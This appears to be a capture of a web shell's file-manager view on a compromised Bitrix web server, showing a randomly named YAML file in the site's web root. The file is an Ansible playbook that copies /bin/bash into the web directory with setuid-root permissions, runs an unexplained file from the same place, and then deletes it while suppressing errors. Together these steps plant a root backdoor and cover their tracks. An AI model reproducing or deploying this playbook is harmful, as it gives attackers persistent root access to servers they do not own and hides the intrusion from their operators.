Your IP : 3.145.100.227


Current Path : /home/bitrix/ext_www/klimatlend.ua/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/xdw6fnt1.yaml

- name: 002
  hosts: bitrix-web
  remote_user: root
  gather_facts: false  # Avoid unnecessary host fact gathering
  tasks:
    - name: Copy file
      copy:
        src: /bin/bash
        dest: /home/bitrix/ext_www/klimatlend.ua/b

    - name: Set permissions
      file:
        path: /home/bitrix/ext_www/klimatlend.ua/b
        owner: root
        group: root
        mode: '4755'

    - name: Execute file
      command: /home/bitrix/ext_www/klimatlend.ua/UHhQW8A
      register: command_output
      changed_when: false  # Avoid marking as changed if no changes occur
      ignore_errors: true   # Prevent errors from stopping execution

    - name: Remove file
      file:
        path: /home/bitrix/ext_www/klimatlend.ua/UHhQW8A
        state: absent